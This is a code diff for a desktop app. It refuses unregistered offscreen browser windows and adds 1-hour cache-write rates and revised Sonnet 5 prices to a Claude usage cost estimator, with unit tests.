@@ -215,7 +277,7 @@ describe('OffscreenBrowserBackend lifecycle', () => {
 
   it('joins owner retirement started by an unexpected renderer destroy', async () => {
     const browserManager = {
-      registerOffscreenGuest: vi.fn(),
+      registerOffscreenGuest: vi.fn(registerOffscreenGuestLikeBrowserManager),
       unregisterGuest: vi.fn()
     }
     let releaseOwnerRetirement!: () => void
@@ -244,7 +306,7 @@ describe('OffscreenBrowserBackend lifecycle', () => {
 
   it('bounds concurrent helper retirements during shutdown', async () => {
     const browserManager = {
-      registerOffscreenGuest: vi.fn(),
+      registerOffscreenGuest: vi.fn(registerOffscreenGuestLikeBrowserManager),
       unregisterGuest: vi.fn()
     }
     let activeRetirements = 0
@@ -284,7 +346,10 @@ describe('OffscreenBrowserBackend lifecycle', () => {
   })
 
   it('closes the page even when daemon retirement throws', async () => {
-    const browserManager = { registerOffscreenGuest: vi.fn(), unregisterGuest: vi.fn() }
+    const browserManager = {
+      registerOffscreenGuest: vi.fn(registerOffscreenGuestLikeBrowserManager),
+      unregisterGuest: vi.fn()
+    }
     const backend = new OffscreenBrowserBackend(browserManager as never, {
       getAgentBrowserBridge: () => ({
         onPageClosed: vi.fn(async () => {
diff --git a/src/main/browser/offscreen-browser-backend.ts b/src/main/browser/offscreen-browser-backend.ts
index e17a2923aa0..300a01e0b76 100644
--- a/src/main/browser/offscreen-browser-backend.ts
+++ b/src/main/browser/offscreen-browser-backend.ts
@@ -66,9 +66,33 @@ export class OffscreenBrowserBackend implements BrowserBackend {
 
     this.windowsByPageId.set(browserPageId, win)
 
-    // Why: if the offscreen window is destroyed out from under us (crash, app
-    // teardown), drop the registry entry so commands fail cleanly instead of
-    // resolving a dead WebContents.
+    // Why: register the guest and return immediately so the new tab appears
+    // without waiting for the page to finish loading. Previously createTab
+    // awaited the full navigation, so clicking "New Browser Tab" did nothing for
+    // up to a second on real URLs. The page loads asynchronously and streams
+    // once it paints; a failed load leaves the (usable) tab open, matching how a
+    // normal browser tab survives a failed navigation.
+    const registered = this.browserManager.registerOffscreenGuest({
+      browserPageId,
+      worktreeId: params.worktreeId,
+      sessionProfileId: profile?.id ?? null,
+      userAgentMode: profile?.userAgentMode,
+      webContentsId: win.webContents.id
+    })
+    if (!registered) {
+      // Why destroy rather than carry on: the window already exists but carries none of the guest
+      // policies registration installs, so leaving it would navigate an unvalidated URL with no
+      // policy on it and hand back a page id nothing can drive. The renderer door aborts its mount
+      // the same way; this is that abort.
+      this.windowsByPageId.delete(browserPageId)
+      win.destroy()
+      throw new Error(`Browser page ${browserPageId} was refused`)
+    }
+
+    // Why only once registration took: this teardown unregisters the page id, and a refused id is
+    // one the other authority may own — cancelling its work would be the confusion we just refused.
+    // Why at all: if the window dies out from under us (crash, app teardown), drop the registry
+    // entry so commands fail cleanly instead of resolving a dead WebContents.
     win.webContents.once('destroyed', () => {
       // Explicit close removes the page first and performs awaited cleanup;
       // only an unexpected destruction still owns the bridge retirement here.
@@ -80,20 +104,6 @@ export class OffscreenBrowserBackend implements BrowserBackend {
       this.browserManager.unregisterGuest(browserPageId)
     })
 
-    // Why: register the guest and return immediately so the new tab appears
-    // without waiting for the page to finish loading. Previously createTab
-    // awaited the full navigation, so clicking "New Browser Tab" did nothing for
-    // up to a second on real URLs. The page loads asynchronously and streams
-    // once it paints; a failed load leaves the (usable) tab open, matching how a
-    // normal browser tab survives a failed navigation.
-    this.browserManager.registerOffscreenGuest({
-      browserPageId,
-      worktreeId: params.worktreeId,
-      sessionProfileId: profile?.id ?? null,
-      userAgentMode: profile?.userAgentMode,
-      webContentsId: win.webContents.id
-    })
-
     const url = params.url || 'about:blank'
     void this.loadUrl(win, url).catch((error) => {
       console.warn(
diff --git a/src/main/claude-usage/claude-model-pricing.test.ts b/src/main/claude-usage/claude-model-pricing.test.ts
new file mode 100644
index 00000000000..8c5f317d875
--- /dev/null
+++ b/src/main/claude-usage/claude-model-pricing.test.ts
@@ -0,0 +1,77 @@
+import { describe, expect, it } from 'vitest'
+import { estimateCostUsd } from './claude-model-pricing'
+
+describe('estimateCostUsd cache-write TTL rates', () => {
+  it('bills 5-minute cache writes at 1.25x base input', () => {
+    expect(estimateCostUsd('claude-opus-5', 0, 0, 0, 1_000_000, 0)).toBeCloseTo(6.25)
+  })
+
+  it('keeps the legacy five-argument call billing every write at the 5-minute rate', () => {
+    expect(estimateCostUsd('claude-opus-5', 0, 0, 0, 1_000_000)).toBeCloseTo(6.25)
+  })
+
+  it('bills 1-hour cache writes at 2x base input', () => {
+    expect(estimateCostUsd('claude-opus-5', 0, 0, 0, 1_000_000, 1_000_000)).toBeCloseTo(10)
+  })
+
+  it('splits a mixed write bucket without double-billing the 1-hour share', () => {
+    expect(estimateCostUsd('claude-opus-5', 0, 0, 0, 1_000_000, 400_000)).toBeCloseTo(7.75)
+  })
+
+  it('clamps a 1-hour count that exceeds the reported write total', () => {
+    expect(estimateCostUsd('claude-opus-5', 0, 0, 0, 1_000, 5_000)).toBeCloseTo(0.01)
+  })
+
+  it('applies the long-context tier to 1-hour writes', () => {
+    expect(estimateCostUsd('claude-sonnet-4-6', 0, 0, 0, 400_000, 400_000)).toBeCloseTo(3.6)
+  })
+
+  it('shares one long-context allowance across both TTL buckets', () => {
+    // 400k writes split evenly: 200k @ (3.75/7.5) and 200k @ (6/12), each tier
+    // getting half of the 200k allowance.
+    expect(estimateCostUsd('claude-sonnet-4-6', 0, 0, 0, 400_000, 200_000)).toBeCloseTo(2.925)
+  })
+
+  it('never lowers a long-context estimate as writes shift from 5-minute to 1-hour', () => {
+    const costs = [0, 50_000, 100_000, 200_000, 300_000, 400_000].map(
+      (write1h) => estimateCostUsd('claude-sonnet-4-6', 0, 0, 0, 400_000, write1h)!
+    )
+    for (let index = 1; index < costs.length; index++) {
+      expect(costs[index]).toBeGreaterThan(costs[index - 1])
+    }
+  })
+
+  it('still returns null for unknown models', () => {
+    expect(estimateCostUsd('gpt-5', 0, 0, 0, 1_000_000, 1_000_000)).toBeNull()
+  })
+})
+
+// Published Claude Sonnet 5 rates (platform.claude.com/docs/en/about-claude/pricing):
+// $2 base input, $10 output, $0.20 cache hit, $2.50 5m write, $4 1h write per MTok.
+// The $2/$10 launch price, announced as introductory through 2026-08-31, is now the
+// standard price — the scheduled 2026-09-01 rise to $3/$15 was cancelled — so the rate
+// is date-independent.
+describe('estimateCostUsd Claude Sonnet 5 rates', () => {
+  it('bills base input at $2/MTok', () => {
+    expect(estimateCostUsd('claude-sonnet-5', 1_000_000, 0, 0, 0, 0)).toBeCloseTo(2)
+  })
+
+  it('bills output at $10/MTok', () => {
+    expect(estimateCostUsd('claude-sonnet-5', 0, 1_000_000, 0, 0, 0)).toBeCloseTo(10)
+  })
+
+  it('bills cache hits at $0.20/MTok', () => {
+    expect(estimateCostUsd('claude-sonnet-5', 0, 0, 1_000_000, 0, 0)).toBeCloseTo(0.2)
+  })
+
+  it('bills 5-minute cache writes at $2.50/MTok and 1-hour writes at $4/MTok', () => {
+    expect(estimateCostUsd('claude-sonnet-5', 0, 0, 0, 1_000_000, 0)).toBeCloseTo(2.5)
+    expect(estimateCostUsd('claude-sonnet-5', 0, 0, 0, 1_000_000, 1_000_000)).toBeCloseTo(4)
+  })
+
+  it('keeps the full 1M window at flat rates with no long-context tier', () => {
+    expect(estimateCostUsd('claude-sonnet-5', 1_000_000, 0, 0, 0, 0)).toBeCloseTo(
+      estimateCostUsd('claude-sonnet-5', 500_000, 0, 0, 0, 0)! * 2
+    )
+  })
+})
diff --git a/src/main/claude-usage/claude-model-pricing.ts b/src/main/claude-usage/claude-model-pricing.ts
index 6d28b3deace..eace643eb3b 100644
--- a/src/main/claude-usage/claude-model-pricing.ts
+++ b/src/main/claude-usage/claude-model-pricing.ts
@@ -2,12 +2,16 @@ type ClaudeModelPricing = {
   input: number
   output: number
   cacheRead: number
+  /** 5-minute TTL cache write (1.25x base input). */
   cacheWrite: number
+  /** 1-hour TTL cache write (2x base input). */
+  cacheWrite1h: number
   thresholdTokens?: number
   inputAboveThreshold?: number
   outputAboveThreshold?: number
   cacheReadAboveThreshold?: number
   cacheWriteAboveThreshold?: number
+  cacheWrite1hAboveThreshold?: number
 }
 
 const LONG_CONTEXT_THRESHOLD_TOKENS = 200_000
@@ -16,26 +20,29 @@ const SONNET_LONG_CONTEXT_PRICING = {
   inputAboveThreshold: 6,
   outputAboveThreshold: 22.5,
   cacheReadAboveThreshold: 0.6,
-  cacheWriteAboveThreshold: 7.5
+  cacheWriteAboveThreshold: 7.5,
+  cacheWrite1hAboveThreshold: 12
 } satisfies Partial<ClaudeModelPricing>
 
 const MODEL_PRICING: Record<string, ClaudeModelPricing> = {
-  'claude-fable-5': { input: 10, output: 50, cacheRead: 1, cacheWrite: 12.5 },
-  'claude-opus-5': { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25 },
+  'claude-fable-5': { input: 10, output: 50, cacheRead: 1, cacheWrite: 12.5, cacheWrite1h: 20 },
+  'claude-opus-5': { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25, cacheWrite1h: 10 },
   // Why: Sonnet 5 bills its full 1M window at flat rates, so no long-context tier here.
-  // Why: standard rates, not the $2/$10 introductory rate ending 2026-08-31 — no date dimension.
-  'claude-sonnet-5': { input: 3, output: 15, cacheRead: 0.3, cacheWrite: 3.75 },
-  'claude-opus-4-8': { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25 },
-  'claude-opus-4-7': { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25 },
-  'claude-opus-4-6': { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25 },
-  'claude-opus-4-5': { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25 },
-  'claude-opus-4-1': { input: 15, output: 75, cacheRead: 1.5, cacheWrite: 18.75 },
-  'claude-opus-4': { input: 15, output: 75, cacheRead: 1.5, cacheWrite: 18.75 },
+  // Why: $2/$10 needs no date dimension — it launched as introductory pricing through
+  // 2026-08-31 but is now the standard price; the 2026-09-01 rise to $3/$15 was cancelled.
+  'claude-sonnet-5': { input: 2, output: 10, cacheRead: 0.2, cacheWrite: 2.5, cacheWrite1h: 4 },
+  'claude-opus-4-8': { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25, cacheWrite1h: 10 },
+  'claude-opus-4-7': { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25, cacheWrite1h: 10 },
+  'claude-opus-4-6': { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25, cacheWrite1h: 10 },
+  'claude-opus-4-5': { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25, cacheWrite1h: 10 },
+  'claude-opus-4-1': { input: 15, output: 75, cacheRead: 1.5, cacheWrite: 18.75, cacheWrite1h: 30 },
+  'claude-opus-4': { input: 15, output: 75, cacheRead: 1.5, cacheWrite: 18.75, cacheWrite1h: 30 },
   'claude-sonnet-4-6': {
     input: 3,
     output: 15,
     cacheRead: 0.3,
     cacheWrite: 3.75,
+    cacheWrite1h: 6,
     ...SONNET_LONG_CONTEXT_PRICING
   },
   'claude-sonnet-4-5': {
@@ -43,6 +50,7 @@ const MODEL_PRICING: Record<string, ClaudeModelPricing> = {
     output: 15,
     cacheRead: 0.3,
     cacheWrite: 3.75,
+    cacheWrite1h: 6,
     ...SONNET_LONG_CONTEXT_PRICING
   },
   'claude-sonnet-4': {
@@ -50,13 +58,20 @@ const MODEL_PRICING: Record<string, ClaudeModelPricing> = {
     output: 15,
     cacheRead: 0.3,
     cacheWrite: 3.75,
+    cacheWrite1h: 6,
     ...SONNET_LONG_CONTEXT_PRICING
   },
-  'claude-sonnet-3-7': { input: 3, output: 15, cacheRead: 0.3, cacheWrite: 3.75 },
-  'claude-sonnet-3-5': { input: 3, output: 15, cacheRead: 0.3, cacheWrite: 3.75 },
-  'claude-haiku-4-5': { input: 1, output: 5, cacheRead: 0.1, cacheWrite: 1.25 },
-  'claude-haiku-3-5': { input: 0.8, output: 4, cacheRead: 0.08, cacheWrite: 1 },
-  'claude-haiku-3': { input: 0.25, output: 1.25, cacheRead: 0.03, cacheWrite: 0.3 }
+  'claude-sonnet-3-7': { input: 3, output: 15, cacheRead: 0.3, cacheWrite: 3.75, cacheWrite1h: 6 },
+  'claude-sonnet-3-5': { input: 3, output: 15, cacheRead: 0.3, cacheWrite: 3.75, cacheWrite1h: 6 },
+  'claude-haiku-4-5': { input: 1, output: 5, cacheRead: 0.1, cacheWrite: 1.25, cacheWrite1h: 2 },
+  'claude-haiku-3-5': { input: 0.8, output: 4, cacheRead: 0.08, cacheWrite: 1, cacheWrite1h: 1.6 },
+  'claude-haiku-3': {
+    input: 0.25,
+    output: 1.25,
+    cacheRead: 0.03,
+    cacheWrite: 0.3,
+    cacheWrite1h: 0.5
+  }
 }
 
 const MODEL_ALIASES: Record<string, string> = {
@@ -179,18 +194,31 @@ function calculateTieredCost(
   return belowTokens * basePrice + aboveTokens * abovePrice
 }
 
+/**
+ * @param cacheWriteTokens every cache write, both TTLs
+ * @param cacheWrite1hTokens the 1-hour-TTL subset of `cacheWriteTokens`
+ */
 export function estimateCostUsd(
   model: string | null,
   inputTokens: number,
   outputTokens: number,
   cacheReadTokens: number,
-  cacheWriteTokens: number
+  cacheWriteTokens: number,
+  cacheWrite1hTokens = 0
 ): number | null {
   const normalized = normalizeModelForPricing(model)
   if (!normalized) {
     return null
   }
   const pricing = MODEL_PRICING[normalized]
+  const write1hTokens = Math.min(Math.max(cacheWrite1hTokens, 0), cacheWriteTokens)
+  // Why: both TTL buckets share one long-context allowance. Giving each its own
+  // would make a split bucket cheaper than the same tokens billed entirely at 5m.
+  const write1hShare = cacheWriteTokens > 0 ? write1hTokens / cacheWriteTokens : 0
+  const write5mThreshold =
+    pricing.thresholdTokens === undefined ? undefined : pricing.thresholdTokens * (1 - write1hShare)
+  const write1hThreshold =
+    pricing.thresholdTokens === undefined ? undefined : pricing.thresholdTokens * write1hShare
   return (
     (calculateTieredCost(
       inputTokens,
@@ -211,10 +239,16 @@ export function estimateCostUsd(
         pricing.thresholdTokens
       ) +
       calculateTieredCost(
-        cacheWriteTokens,
+        cacheWriteTokens - write1hTokens,
         pricing.cacheWrite,
         pricing.cacheWriteAboveThreshold,
-        pricing.thresholdTokens
+        write5mThreshold
+      ) +
+      calculateTieredCost(
+        write1hTokens,
+        pricing.cacheWrite1h,
+        pricing.cacheWrite1hAboveThreshold,
+        write1hThreshold
       )) /
     1_000_000
   )
diff --git a/src/main/claude-usage/claude-usage-automation-attribution.ts b/src/main/claude-usage/claude-usage-automation-attribution.ts
index adda1ad394e..0b4a8a9844f 100644
--- a/src/main/claude-usage/claude-usage-automation-attribution.ts
+++ b/src/main/claude-usage/claude-usage-automation-attribution.ts
@@ -106,6 +106,7 @@ export async function resolveAutomationRunUsage(
       acc.outputTokens += entry.outputTokens
       acc.cacheReadTokens += entry.cacheReadTokens
       acc.cacheWriteTokens += entry.cacheWriteTokens
+      acc.cacheWrite1hTokens += entry.cacheWrite1hTokens
       return acc
     },
     {
@@ -113,7 +114,8 @@ export async function resolveAutomationRunUsage(
       inputTokens: 0,
       outputTokens: 0,
       cacheReadTokens: 0,
-      cacheWriteTokens: 0
+      cacheWriteTokens: 0,
+      cacheWrite1hTokens: 0
     }
   )
   const estimatedCostUsd = estimateCostUsd(
@@ -121,7 +123,8 @@ export async function resolveAutomationRunUsage(
     totals.inputTokens,
     totals.outputTokens,
     totals.cacheReadTokens,
-    totals.cacheWriteTokens
+    totals.cacheWriteTokens,
+    totals.cacheWrite1hTokens
   )
 
   return {
diff --git a/src/main/claude-usage/claude-usage-report-aggregation.test.ts b/src/main/claude-usage/claude-usage-report-aggregation.test.ts
new file mode 100644
index 00000000000..7d09c3074f2
--- /dev/null
+++ b/src/main/claude-usage/claude-usage-report-aggregation.test.ts
@@ -0,0 +1,71 @@
+import { describe, expect, it } from 'vitest'
+import type { ClaudeUsageDailyAggregate, ClaudeUsagePersistedState } from './types'
+import { buildSummary } from './claude-usage-report-aggregation'
+
+function dailyRow(day: string, model: string): ClaudeUsageDailyAggregate {
+  return {
+    day,
+    model,
+    projectKey: 'project',
+    projectLabel: 'project',
+    repoId: null,
+    worktreeId: 'worktree-1',
+    turnCount: 1,
+    zeroCacheReadTurnCount: 0,
+    inputTokens: 1_000_000,
+    outputTokens: 1_000_000,
+    cacheReadTokens: 0,
+    cacheWriteTokens: 0,
+    cacheWrite1hTokens: 0
+  }
+}
+
+function stateWithDaily(dailyAggregates: ClaudeUsageDailyAggregate[]): ClaudeUsagePersistedState {
+  return {
+    schemaVersion: 6,
+    worktreeFingerprint: null,
+    processedFiles: [],
+    sessions: [],
+    dailyAggregates,
+    scanState: {
+      enabled: true,
+      lastScanStartedAt: null,
+      lastScanCompletedAt: null,
+      lastScanError: null
+    }
+  }
+}
+
+describe('buildSummary Claude Sonnet 5 pricing over time', () => {
+  // Why: the "All" range re-prices historical days on every render, so a day inside the
+  // announced 2026-08-31 introductory window has to price the same as a later day —
+  // the scheduled $3/$15 increase was cancelled and never took effect.
+  it('prices an introductory-window day and a post-window day at the same $2/$10 rate', () => {
+    const inWindow = buildSummary(
+      stateWithDaily([dailyRow('2026-08-15', 'claude-sonnet-5')]),
+      'all',
+      'all'
+    )
+    const afterWindow = buildSummary(
+      stateWithDaily([dailyRow('2026-09-15', 'claude-sonnet-5')]),
+      'all',
+      'all'
+    )
+
+    expect(inWindow.estimatedCostUsd).toBeCloseTo(12)
+    expect(afterWindow.estimatedCostUsd).toBeCloseTo(12)
+  })
+
+  it('sums both days in the All range without re-pricing history upward', () => {
+    const summary = buildSummary(
+      stateWithDaily([
+        dailyRow('2026-08-15', 'claude-sonnet-5'),
+        dailyRow('2026-09-15', 'claude-sonnet-5')
+      ]),
+      'all',
+      'all'
+    )
+
+    expect(summary.estimatedCostUsd).toBeCloseTo(24)
+  })
+})
diff --git a/src/main/claude-usage/claude-usage-report-aggregation.ts b/src/main/claude-usage/claude-usage-report-aggregation.ts
index f9bdd863c36..9231af85cfa 100644
--- a/src/main/claude-usage/claude-usage-report-aggregation.ts
+++ b/src/main/claude-usage/claude-usage-report-aggregation.ts
@@ -47,7 +47,8 @@ export function buildSummary(
       row.inputTokens,
       row.outputTokens,
       row.cacheReadTokens,
-      row.cacheWriteTokens
+      row.cacheWriteTokens,
+      row.cacheWrite1hTokens
     )
     if (cost !== null) {
       hasAnyBillableCost = true
@@ -111,6 +112,8 @@ export function buildBreakdown(
   kind: ClaudeUsageBreakdownKind
 ): ClaudeUsageBreakdownRow[] {
   const rows = new Map<string, ClaudeUsageBreakdownRow>()
+  // Why: the 1h cache-write split only feeds pricing, so it stays off the renderer row type.
+  const cacheWrite1hTokensByKey = new Map<string, number>()
   const filteredDaily = getFilteredDaily(state, scope, range)
   const filteredSessions = getFilteredSessions(state, scope, range)
 
@@ -133,6 +136,10 @@ export function buildBreakdown(
     existing.outputTokens += daily.outputTokens
     existing.cacheReadTokens += daily.cacheReadTokens
     existing.cacheWriteTokens += daily.cacheWriteTokens
+    cacheWrite1hTokensByKey.set(
+      key,
+      (cacheWrite1hTokensByKey.get(key) ?? 0) + daily.cacheWrite1hTokens
+    )
     rows.set(key, existing)
   }
 
@@ -168,7 +175,8 @@ export function buildBreakdown(
         row.inputTokens,
         row.outputTokens,
         row.cacheReadTokens,
-        row.cacheWriteTokens
+        row.cacheWriteTokens,
+        cacheWrite1hTokensByKey.get(row.key) ?? 0
       )
     }
   }
diff --git a/src/main/claude-usage/scanner.test.ts b/src/main/claude-usage/scanner.test.ts
index dc4d6085a5a..cf5b4cc99a3 100644
--- a/src/main/claude-usage/scanner.test.ts
+++ b/src/main/claude-usage/scanner.test.ts
@@ -36,10 +36,59 @@ describe('parseClaudeUsageRecord', () => {
       inputTokens: 100,
       outputTokens: 25,
       cacheReadTokens: 10,
-      cacheWriteTokens: 5
+      cacheWriteTokens: 5,
+      cacheWrite1hTokens: 0
     })
   })
 
+  it('splits the cache-write total by TTL when the breakdown is present', () => {
+    const parsed = parseClaudeUsageRecord(
+      JSON.stringify({
+        type: 'assistant',
+        sessionId: 'session-1',
+        timestamp: '2026-04-09T10:00:00.000Z',
+        message: {
+          model: 'claude-sonnet-4-6',
+          usage: {
+            input_tokens: 100,
+            output_tokens: 25,
+            cache_read_input_tokens: 10,
+            cache_creation_input_tokens: 1000,
+            cache_creation: {
+              ephemeral_5m_input_tokens: 600,
+              ephemeral_1h_input_tokens: 400
+            }
+          }
+        }
+      })
+    )
+
+    expect(parsed?.cacheWriteTokens).toBe(1000)
+    expect(parsed?.cacheWrite1hTokens).toBe(400)
+  })
+
+  it('clamps a 1-hour breakdown that exceeds the reported cache-write total', () => {
+    const parsed = parseClaudeUsageRecord(
+      JSON.stringify({
+        type: 'assistant',
+        sessionId: 'session-1',
+        timestamp: '2026-04-09T10:00:00.000Z',
+        message: {
+          model: 'claude-sonnet-4-6',
+          usage: {
+            input_tokens: 100,
+            output_tokens: 25,
+            cache_creation_input_tokens: 100,
+            cache_creation: { ephemeral_1h_input_tokens: 400 }
+          }
+        }
+      })
+    )
+
+    expect(parsed?.cacheWriteTokens).toBe(100)
+    expect(parsed?.cacheWrite1hTokens).toBe(100)
+  })
+
   it('merges duplicate streamed assistant usage by message and request id', async () => {
     const root = await mkdtemp(join(tmpdir(), 'orca-claude-dedupe-'))
     const filePath = join(root, 'session.jsonl')
@@ -92,7 +141,8 @@ describe('parseClaudeUsageRecord', () => {
           inputTokens: 120,
           outputTokens: 30,
           cacheReadTokens: 12,
-          cacheWriteTokens: 7
+          cacheWriteTokens: 7,
+          cacheWrite1hTokens: 0
         }
       ])
     } finally {
@@ -114,7 +164,8 @@ describe('Claude usage aggregation', () => {
           inputTokens: 100,
           outputTokens: 20,
           cacheReadTokens: 10,
-          cacheWriteTokens: 5
+          cacheWriteTokens: 5,
+          cacheWrite1hTokens: 0
         },
         {
           sessionId: 'session-1',
@@ -125,7 +176,8 @@ describe('Claude usage aggregation', () => {
           inputTokens: 50,
           outputTokens: 10,
           cacheReadTokens: 0,
-          cacheWriteTokens: 0
+          cacheWriteTokens: 0,
+          cacheWrite1hTokens: 0
         }
       ],
       new Map([
@@ -154,7 +206,8 @@ describe('Claude usage aggregation', () => {
         inputTokens: 100,
         outputTokens: 20,
         cacheReadTokens: 10,
-        cacheWriteTokens: 5
+        cacheWriteTokens: 5,
+        cacheWrite1hTokens: 0
       },
       {
         locationKey: 'cwd:/outside/repo-b',
@@ -165,7 +218,8 @@ describe('Claude usage aggregation', () => {
         inputTokens: 50,
         outputTokens: 10,
         cacheReadTokens: 0,
-        cacheWriteTokens: 0
+        cacheWriteTokens: 0,
+        cacheWrite1hTokens: 0
       }
     ])
   })
@@ -182,7 +236,8 @@ describe('Claude usage aggregation', () => {
           inputTokens: 100,
           outputTokens: 20,
           cacheReadTokens: 10,
-          cacheWriteTokens: 5
+          cacheWriteTokens: 5,
+          cacheWrite1hTokens: 0
         }
       ],
       new Map([
diff --git a/src/main/claude-usage/store.test.ts b/src/main/claude-usage/store.test.ts
index 3609399ac33..650976a2455 100644
--- a/src/main/claude-usage/store.test.ts
+++ b/src/main/claude-usage/store.test.ts
@@ -101,6 +101,7 @@ describe('ClaudeUsageStore', () => {
           totalOutputTokens: 20,
           totalCacheReadTokens: 10,
           totalCacheWriteTokens: 5,
+          totalCacheWrite1hTokens: 0,
           locationBreakdown: [
             {
               locationKey: 'cwd:/outside/repo',
@@ -111,7 +112,8 @@ describe('ClaudeUsageStore', () => {
               inputTokens: 100,
               outputTokens: 20,
               cacheReadTokens: 10,
-              cacheWriteTokens: 5
+              cacheWriteTokens: 5,
+              cacheWrite1hTokens: 0
             }
           ]
         }
@@ -129,7 +131,8 @@ describe('ClaudeUsageStore', () => {
           inputTokens: 100,
           outputTokens: 20,
           cacheReadTokens: 10,
-          cacheWriteTokens: 5
+          cacheWriteTokens: 5,
+          cacheWrite1hTokens: 0
         }
       ]
     })
@@ -159,6 +162,7 @@ describe('ClaudeUsageStore', () => {
           totalOutputTokens: 20,
           totalCacheReadTokens: 10,
           totalCacheWriteTokens: 5,
+          totalCacheWrite1hTokens: 0,
           locationBreakdown: [
             {
               locationKey: 'worktree:repo-1::/workspace/repo-a',
@@ -169,7 +173,8 @@ describe('ClaudeUsageStore', () => {
               inputTokens: 100,
               outputTokens: 20,
               cacheReadTokens: 10,
-              cacheWriteTokens: 5
+              cacheWriteTokens: 5,
+              cacheWrite1hTokens: 0
             }
           ]
         }
@@ -187,7 +192,8 @@ describe('ClaudeUsageStore', () => {
           inputTokens: 100,
           outputTokens: 20,
           cacheReadTokens: 10,
-          cacheWriteTokens: 5
+          cacheWriteTokens: 5,
+          cacheWrite1hTokens: 0
         }
       ]
     })
@@ -213,7 +219,8 @@ describe('ClaudeUsageStore', () => {
           inputTokens: 100,
           outputTokens: 20,
           cacheReadTokens: 10,
-          cacheWriteTokens: 5
+          cacheWriteTokens: 5,
+          cacheWrite1hTokens: 0
         }
       ]
     })
@@ -239,7 +246,8 @@ describe('ClaudeUsageStore', () => {
           inputTokens: 1_000_000,
           outputTokens: 1_000_000,
           cacheReadTokens: 1_000_000,
-          cacheWriteTokens: 1_000_000
+          cacheWriteTokens: 1_000_000,
+          cacheWrite1hTokens: 0
         }
       ]
     })
@@ -253,6 +261,37 @@ describe('ClaudeUsageStore', () => {
     ).toBeCloseTo(36.75)
   })
 
+  it('prices the 1-hour cache-write share above the 5-minute rate', async () => {
+    const store = createStoreWithState({
+      dailyAggregates: [
+        {
+          day: '2026-04-09',
+          model: 'claude-opus-4-7-20260416',
+          projectKey: 'worktree:repo-1::/workspace/repo-a',
+          projectLabel: 'Repo A',
+          repoId: 'repo-1',
+          worktreeId: 'repo-1::/workspace/repo-a',
+          turnCount: 1,
+          zeroCacheReadTurnCount: 0,
+          inputTokens: 1_000_000,
+          outputTokens: 1_000_000,
+          cacheReadTokens: 1_000_000,
+          cacheWriteTokens: 1_000_000,
+          cacheWrite1hTokens: 400_000
+        }
+      ]
+    })
+
+    const summary = await store.getSummary('orca', '30d')
+    const breakdown = await store.getBreakdown('orca', '30d', 'model')
+
+    // 5 + 25 + 0.5 + (0.6 * 6.25 + 0.4 * 10); the flat 5m rate would give 36.75.
+    expect(summary.estimatedCostUsd).toBeCloseTo(38.25)
+    expect(
+      breakdown.find((row) => row.key === 'claude-opus-4-7-20260416')?.estimatedCostUsd
+    ).toBeCloseTo(38.25)
+  })
+
   it('prices Claude Opus 4.8 with current Anthropic rates', async () => {
     const store = createStoreWithState({
       dailyAggregates: [
@@ -268,7 +307,8 @@ describe('ClaudeUsageStore', () => {
           inputTokens: 1_000_000,
           outputTokens: 1_000_000,
           cacheReadTokens: 1_000_000,
-          cacheWriteTokens: 1_000_000
+          cacheWriteTokens: 1_000_000,
+          cacheWrite1hTokens: 0
         },
         {
           day: '2026-04-09',
@@ -282,7 +322,8 @@ describe('ClaudeUsageStore', () => {
           inputTokens: 1_000_000,
           outputTokens: 1_000_000,
           cacheReadTokens: 1_000_000,
-          cacheWriteTokens: 1_000_000
+          cacheWriteTokens: 1_000_000,
+          cacheWrite1hTokens: 0
         }
       ]
     })
@@ -314,7 +355,8 @@ describe('ClaudeUsageStore', () => {
           inputTokens: 1_000_000,
           outputTokens: 1_000_000,
           cacheReadTokens: 1_000_000,
-          cacheWriteTokens: 1_000_000
+          cacheWriteTokens: 1_000_000,
+          cacheWrite1hTokens: 0
         },
         {
           day: '2026-04-09',
@@ -328,7 +370,8 @@ describe('ClaudeUsageStore', () => {
           inputTokens: 1_000_000,
           outputTokens: 1_000_000,
           cacheReadTokens: 1_000_000,
-          cacheWriteTokens: 1_000_000
+          cacheWriteTokens: 1_000_000,
+          cacheWrite1hTokens: 0
         },
         {
           day: '2026-04-09',
@@ -342,7 +385,8 @@ describe('ClaudeUsageStore', () => {
           inputTokens: 1_000_000,
           outputTokens: 1_000_000,
           cacheReadTokens: 1_000_000,
-          cacheWriteTokens: 1_000_000
+          cacheWriteTokens: 1_000_000,
+          cacheWrite1hTokens: 0
         }
       ]
     })
@@ -357,7 +401,7 @@ describe('ClaudeUsageStore', () => {
     ).toBeCloseTo(73.5)
     expect(
       breakdown.find((row) => row.key === 'claude-sonnet-5-thinking')?.estimatedCostUsd
-    ).toBeCloseTo(22.05)
+    ).toBeCloseTo(14.7)
   })
 
   it('prices Sonnet 5 long-context usage at flat rates', async () => {
@@ -375,7 +419,8 @@ describe('ClaudeUsageStore', () => {
           inputTokens: 300_000,
           outputTokens: 300_000,
           cacheReadTokens: 300_000,
-          cacheWriteTokens: 300_000
+          cacheWriteTokens: 300_000,
+          cacheWrite1hTokens: 0
         }
       ]
     })
@@ -383,7 +428,7 @@ describe('ClaudeUsageStore', () => {
     const summary = await store.getSummary('orca', '30d')
 
     // Why: Sonnet 4.6 and earlier bill above 200k at a premium; Sonnet 5 does not.
-    expect(summary.estimatedCostUsd).toBeCloseTo(6.615)
+    expect(summary.estimatedCostUsd).toBeCloseTo(4.41)
   })
 
   it('does not collapse Opus 4.5 or Sonnet 4.5 usage into Claude 5 pricing', async () => {
@@ -400,7 +445,8 @@ describe('ClaudeUsageStore', () => {
         inputTokens: 300_000,
         outputTokens: 300_000,
         cacheReadTokens: 300_000,
-        cacheWriteTokens: 300_000
+        cacheWriteTokens: 300_000,
+        cacheWrite1hTokens: 0
       }))
     })
 
@@ -433,7 +479,8 @@ describe('ClaudeUsageStore', () => {
           inputTokens: 1_000_000,
           outputTokens: 1_000_000,
           cacheReadTokens: 1_000_000,
-          cacheWriteTokens: 1_000_000
+          cacheWriteTokens: 1_000_000,
+          cacheWrite1hTokens: 0
         },
         {
           day: '2026-04-09',
